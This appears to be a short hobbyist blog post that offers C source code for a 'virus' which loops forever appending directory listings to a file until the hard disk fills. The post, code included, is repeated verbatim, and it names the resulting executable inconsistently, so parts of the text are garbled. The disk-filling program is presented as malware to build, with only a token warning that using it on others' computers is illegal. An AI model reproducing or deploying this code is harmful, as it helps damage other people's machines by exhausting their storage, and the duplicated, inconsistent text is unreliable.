Hi everybody, the first stage of the learning of computer programming. this is a dream of almost all programmers to build a computer virus of his/her own.
computer virus obviously is a thing that should not be used in other computers. this completely illegal in all countries. so guys please try this on your own.
now I will explain how the virus works. we have several types of computer viruses with different functions. some virus can delete important files and folder, some can change Your PC configuration. some occupy and engulf a large amount of memory space and dump Your hard disc and also Damage Your permanently.
Here is the simple virus in few lines bur has ability to jam your hard disc. there are no logic behind the program but making a self growing file which grows to a few MB in one turn and this growth will continue in finitely.
the require ment to make this virus is
OS:-windows98/XP/2000 MS-DOS
Compiler:-Borland C,C++(Which has Dos Shell)
Source code:-
//START v.c
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>╚a.exe");
}
}
//END
This is a very little program. compiling the programm in which as Dos shell we get Y.exe file. this file is our virus.
computer virus obviously is a thing that should not be used in other computers. this completely illegal in all countries. so guys please try this on your own.
now I will explain how the virus works. we have several types of computer viruses with different functions. some virus can delete important files and folder, some can change Your PC configuration. some occupy and engulf a large amount of memory space and dump Your hard disc and also Damage Your permanently.
Here is the simple virus in few lines bur has ability to jam your hard disc. there are no logic behind the program but making a self growing file which grows to a few MB in one turn and this growth will continue in finitely.
the require ment to make this virus is
OS:-windows98/XP/2000 MS-DOS
Compiler:-Borland C,C++(Which has Dos Shell)
Source code:-
//START v.c
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>╚a.exe");
}
}
//END
This is a very little program. compiling the programm in which as Dos shell we get Y.exe file. this file is our virus.
0 comments:
Post a Comment